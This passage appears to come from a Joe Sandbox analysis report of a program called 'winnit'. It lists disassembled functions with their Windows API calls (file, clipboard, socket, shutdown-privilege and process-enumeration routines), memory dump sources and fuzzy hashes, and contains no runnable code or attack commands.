                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                          • String ID:
                                          • API String ID: 1240663315-0
                                          • Opcode ID: 884a5acfdff2ae5d493f85cb08de869b3e8d957a83b584e1972f4b33b538c60b
                                          • Instruction ID: 315121ddae7a61518ffaa192f060e2f5ab84bab01ea16a274701083c11c51f95
                                          • Opcode Fuzzy Hash: 884a5acfdff2ae5d493f85cb08de869b3e8d957a83b584e1972f4b33b538c60b
                                          • Instruction Fuzzy Hash: C2E14E31604205AFCB14EF28C995E6ABBF9FF89314F1485ADF54AD7262DA30ED01CB51
                                          Function 00B283BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                          • CoInitialize.OLE32 ref: 00B28403
                                          • CoUninitialize.OLE32 ref: 00B2840E
                                          • CoCreateInstance.OLE32(?,00000000,00000017,00B42BEC,?), ref: 00B2846E
                                          • IIDFromString.OLE32(?,?), ref: 00B284E1
                                          • VariantInit.OLEAUT32(?), ref: 00B2857B
                                          • VariantClear.OLEAUT32(?), ref: 00B285DC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                          • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                          • API String ID: 834269672-1287834457
                                          • Opcode ID: 584b394dc7962e7f69d9870bf5eff0255bc048eebacc779ce8164e81a74a8b52
                                          • Instruction ID: 99f382c9212a59c03293ba9617b535464c3ac4ce8b69deec8e0d7cc5740f94c3
                                          • Opcode Fuzzy Hash: 584b394dc7962e7f69d9870bf5eff0255bc048eebacc779ce8164e81a74a8b52
                                          • Instruction Fuzzy Hash: 9761E3706093229FC710DF54E884F6EB7E8EF49744F104999F9899B2A1CB70ED44CB92
                                          Function 00B24164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                          • String ID:
                                          • API String ID: 1737998785-0
                                          • Opcode ID: 4743e9cb7d2dac132b55128582f330242aba06d6a665b6c259eabb062b2e44c3
                                          • Instruction ID: 45abd998462b04161f151bc1759f0cecae53557a1a867ca9964a8b26d59b342b
                                          • Opcode Fuzzy Hash: 4743e9cb7d2dac132b55128582f330242aba06d6a665b6c259eabb062b2e44c3
                                          • Instruction Fuzzy Hash: 40219F35600211DFDB10AF64ED49B7E7BA8EF15711F20806AF94A9B2B2DF70AC40CB54
                                          Function 00B137EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AB4743,?,?,00AB37AE,?), ref: 00AB4770
                                            • Part of subcall function 00B14A31: GetFileAttributesW.KERNEL32(?,00B1370B), ref: 00B14A32
                                          • FindFirstFileW.KERNEL32(?,?), ref: 00B138A3
                                          • DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00B1394B
                                          • MoveFileW.KERNEL32(?,?), ref: 00B1395E
                                          • DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00B1397B
                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 00B1399D
                                          • FindClose.KERNEL32(00000000,?,?,?,?), ref: 00B139B9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
                                          • String ID: \*.*
                                          • API String ID: 4002782344-1173974218
                                          • Opcode ID: 436941f14b4e00275cc2f1a2dd7dead9c1bbc220e41b7780bbe49e7096727541
                                          • Instruction ID: 38693f0860b529ad5c02955d62e66a16c775304166bd06e909498b5b692cadd7
                                          • Opcode Fuzzy Hash: 436941f14b4e00275cc2f1a2dd7dead9c1bbc220e41b7780bbe49e7096727541
                                          • Instruction Fuzzy Hash: 03517B3180514DAACF05EBA0CA92DFDB7F9AF54340FA400A9E406B7192EF616F49CB60
                                          Function 00B1F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                          • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00B1F440
                                          • Sleep.KERNEL32(0000000A), ref: 00B1F470
                                          • _wcscmp.LIBCMT ref: 00B1F484
                                          • _wcscmp.LIBCMT ref: 00B1F49F
                                          • FindNextFileW.KERNEL32(?,?), ref: 00B1F53D
                                          • FindClose.KERNEL32(00000000), ref: 00B1F553
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
                                          • String ID: *.*
                                          • API String ID: 713712311-438819550
                                          • Opcode ID: dbe38ddc95bc0f18607bcd1c6ce52db626ebd89bae569bbd041be3f851be3b6a
                                          • Instruction ID: 265bb1c2c54abd3d8fa3a23d603162abc3897c1112a29d46ddb9dc4fc3e905be
                                          • Opcode Fuzzy Hash: dbe38ddc95bc0f18607bcd1c6ce52db626ebd89bae569bbd041be3f851be3b6a
                                          • Instruction Fuzzy Hash: D8416B7190020AAFCF14EF64DC49AFEBBF8FF15310F5445A6E815A32A1EB309A85CB50
                                          Function 00AC5760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID:
                                          • API String ID: 4104443479-0
                                          • Opcode ID: 6957ff59da595f423518813f1fb0e885d1c872a7d78b96a51504a42a4c81965f
                                          • Instruction ID: 200aaa1aba7938ae9fa1d9f956a67476863604a48cb8c26bcecbef3e936fdb9f
                                          • Opcode Fuzzy Hash: 6957ff59da595f423518813f1fb0e885d1c872a7d78b96a51504a42a4c81965f
                                          • Instruction Fuzzy Hash: CA126A70A00609DFDF14DFA5DA81BEEB7F9FF48300F104569E446A7291EB3AA954CB50
                                          Function 00B151BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B087E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B0882B
                                            • Part of subcall function 00B087E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B08858
                                            • Part of subcall function 00B087E1: GetLastError.KERNEL32 ref: 00B08865
                                          • ExitWindowsEx.USER32(?,00000000), ref: 00B151F9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                          • String ID: $@$SeShutdownPrivilege
                                          • API String ID: 2234035333-194228
                                          • Opcode ID: 7bc2069270af838ab5c61b7c04483155ccd0939aeae9be187ad5e08516947532
                                          • Instruction ID: c96ba8fcfdcfd5a2236ab87e6ba583556e3db871b7f5d8256eec870a550c1038
                                          • Opcode Fuzzy Hash: 7bc2069270af838ab5c61b7c04483155ccd0939aeae9be187ad5e08516947532
                                          • Instruction Fuzzy Hash: ED01FC32791615EBE73856689C8AFFB72D8DB49740FA004E1F943E20D1DE711D8085D0
                                          Function 00B26283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00B262DC
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00B262EB
                                          • bind.WSOCK32(00000000,?,00000010), ref: 00B26307
                                          • listen.WSOCK32(00000000,00000005), ref: 00B26316
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00B26330
                                          • closesocket.WSOCK32(00000000,00000000), ref: 00B26344
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorLast$bindclosesocketlistensocket
                                          • String ID:
                                          • API String ID: 1279440585-0
                                          • Opcode ID: 634aff176e5c8995e0916aa6514ea5c94797a58c485a350297f9234bb5af4d99
                                          • Instruction ID: c204d81561769f7ad2195b426572b7a68f2c79bbe116db28ffb9900d3f8ce52f
                                          • Opcode Fuzzy Hash: 634aff176e5c8995e0916aa6514ea5c94797a58c485a350297f9234bb5af4d99
                                          • Instruction Fuzzy Hash: C9219E31600215AFCB10EF68D985B7EB7F9EF49720F2441A9E91AA7292CB70AD01CB51
                                          Function 00AC5520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AD0DB6: std::exception::exception.LIBCMT ref: 00AD0DEC
                                            • Part of subcall function 00AD0DB6: __CxxThrowException@8.LIBCMT ref: 00AD0E01
                                          • _memmove.LIBCMT ref: 00B00258
                                          • _memmove.LIBCMT ref: 00B0036D
                                          • _memmove.LIBCMT ref: 00B00414
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memmove$Exception@8Throwstd::exception::exception
                                          • String ID:
                                          • API String ID: 1300846289-0
                                          • Opcode ID: 4601389d5726f2eb10a3aaa5d1ad4ab5c956e2b0ac47709e898d54a7c00dd958
                                          • Instruction ID: 294a09443a44c99a865e809593d3183feaf5afd617e9a8a7eae34a7206eeda94
                                          • Opcode Fuzzy Hash: 4601389d5726f2eb10a3aaa5d1ad4ab5c956e2b0ac47709e898d54a7c00dd958
                                          • Instruction Fuzzy Hash: CA028E70A00209DBDF04EF64D981BAEBBF5EF44300F1580AAE806DB395EB75E954CB95
                                          Function 00AB1287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB2612: GetWindowLongW.USER32(?,000000EB), ref: 00AB2623
                                          • DefDlgProcW.USER32(?,?,?,?,?), ref: 00AB19FA
                                          • GetSysColor.USER32(0000000F), ref: 00AB1A4E
                                          • SetBkColor.GDI32(?,00000000), ref: 00AB1A61
                                            • Part of subcall function 00AB1290: DefDlgProcW.USER32(?,00000020,?), ref: 00AB12D8
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ColorProc$LongWindow
                                          • String ID:
                                          • API String ID: 3744519093-0
                                          • Opcode ID: 063d6a3ec834b46744c67fd818fc269b79c3edbb0aa8ca6ad4e49e40269bf17f
                                          • Instruction ID: 91e6867443917720588526fac7a446c63e7287636191b84b4dfa76c689f7bfdb
                                          • Opcode Fuzzy Hash: 063d6a3ec834b46744c67fd818fc269b79c3edbb0aa8ca6ad4e49e40269bf17f
                                          • Instruction Fuzzy Hash: 5CA12971126584BEE638AB295C7CEFF3AADDB413C1FA4011DF502E6193CF25AD4192B2
                                          Function 00B26747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B27D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00B27DB6
                                          • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00B2679E
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00B267C7
                                          • bind.WSOCK32(00000000,?,00000010), ref: 00B26800
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00B2680D
                                          • closesocket.WSOCK32(00000000,00000000), ref: 00B26821
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorLast$bindclosesocketinet_addrsocket
                                          • String ID:
                                          • API String ID: 99427753-0
                                          • Opcode ID: c50863c11fe437e7f52002c663cadfbcc2b60c7defb62aea769763a8edf1b949
                                          • Instruction ID: e85b3c3433a78e28c6da56c37ab7919e5e15e5a0702e3aa53cd547293605c2a9
                                          • Opcode Fuzzy Hash: c50863c11fe437e7f52002c663cadfbcc2b60c7defb62aea769763a8edf1b949
                                          • Instruction Fuzzy Hash: 7041B275A00210AFDB10AF689D86FBE77ECEF05B14F048459FA19AB3D3CA749D018791
                                          Function 00B35376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                          • String ID:
                                          • API String ID: 292994002-0
                                          • Opcode ID: f23cd4b3a42fdf427c7851b9a592e9e32d857a5b64fdd03563011909f1c1e86b
                                          • Instruction ID: cdb99263d942dbd62e1036f2809bc80ffc74e243c947b9ae24167e507755bf22
                                          • Opcode Fuzzy Hash: f23cd4b3a42fdf427c7851b9a592e9e32d857a5b64fdd03563011909f1c1e86b
                                          • Instruction Fuzzy Hash: 6C11B2327009126BEB315F269C44AAEBBEDEF457A1F614069F846D3241CFB0DD0186A4
                                          Function 00B080A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B080C0
                                          • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B080CA
                                          • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B080D9
                                          • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B080E0
                                          • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B080F6
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: HeapInformationToken$AllocErrorLastProcess
                                          • String ID:
                                          • API String ID: 44706859-0
                                          • Opcode ID: aca77db3be5de7c124a147e8c5f01ba0f0fce7f6ffc137b902c51ef0e0dff597
                                          • Instruction ID: 65ac9baf048ff518cd20ccf630437eec256ded70fe05c28d47203c33a9ecd3ed
                                          • Opcode Fuzzy Hash: aca77db3be5de7c124a147e8c5f01ba0f0fce7f6ffc137b902c51ef0e0dff597
                                          • Instruction Fuzzy Hash: 70F04F35640205BFEB100FA5EC8DE7B3FACEF49755B100065F985D72A0CEA1DD45DA60
                                          Function 00AB4B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNEL32(kernel32.dll,?,00AB4AD0), ref: 00AB4B45
                                          • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00AB4B57
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AddressLibraryLoadProc
                                          • String ID: GetNativeSystemInfo$kernel32.dll
                                          • API String ID: 2574300362-192647395
                                          • Opcode ID: a7612e847d08e79374e0de3ce1710b56b9c9f70b85a95c2b002d94385436f22a
                                          • Instruction ID: 77d9f8b568ff68e1a1431b7eabb0adb20da4c4b23005e1b390ce5afd3d8eae92
                                          • Opcode Fuzzy Hash: a7612e847d08e79374e0de3ce1710b56b9c9f70b85a95c2b002d94385436f22a
                                          • Instruction Fuzzy Hash: C1D01274E10713CFDB209F31E858B56B6D8AF05351F2188799485D6161EB70D480C654
                                          Function 00AC3030 Relevance: 6.6, APIs: 4, Instructions: 587COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __itow__swprintf
                                          • String ID:
                                          • API String ID: 674341424-0
                                          • Opcode ID: c4dd461b82d4bd1e0b07a9fbda209477f10b32c0383a06222cdc4658bdb45526
                                          • Instruction ID: 075d37c554335f9ac238e6e8feda315884835f094d2751e0cedfd83490b7c2cf
                                          • Opcode Fuzzy Hash: c4dd461b82d4bd1e0b07a9fbda209477f10b32c0383a06222cdc4658bdb45526
                                          • Instruction Fuzzy Hash: 69229C726083019FCB24DF64C981BAFB7F8AF84310F15891DF59A97292DB71E944CB92
                                          Function 00B2EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateToolhelp32Snapshot.KERNEL32 ref: 00B2EE3D
                                          • Process32FirstW.KERNEL32(00000000,?), ref: 00B2EE4B
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                          • Process32NextW.KERNEL32(00000000,?), ref: 00B2EF0B
                                          • CloseHandle.KERNEL32(00000000,?,?,?), ref: 00B2EF1A
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
                                          • String ID:
                                          • API String ID: 2576544623-0
                                          • Opcode ID: 33ed222e66a4ec6cb404fd8ac88a1fbf4d689a023ee26efc6dcd6d9728130e0b
                                          • Instruction ID: 0432e5807e233c92fcd1259c8a6145cf65bbc8e8947c7dfa1f00480189f5a82d
                                          • Opcode Fuzzy Hash: 33ed222e66a4ec6cb404fd8ac88a1fbf4d689a023ee26efc6dcd6d9728130e0b
                                          • Instruction Fuzzy Hash: 92515C71508711ABD310EF24D981EAFB7ECEF94710F50492DF595972A2EB70E908CB92
                                          Function 00B0E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON
                                          Download Yara Rule
                                          APIs
                                          • lstrlenW.KERNEL32(?,?,?,00000000), ref: 00B0E628
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
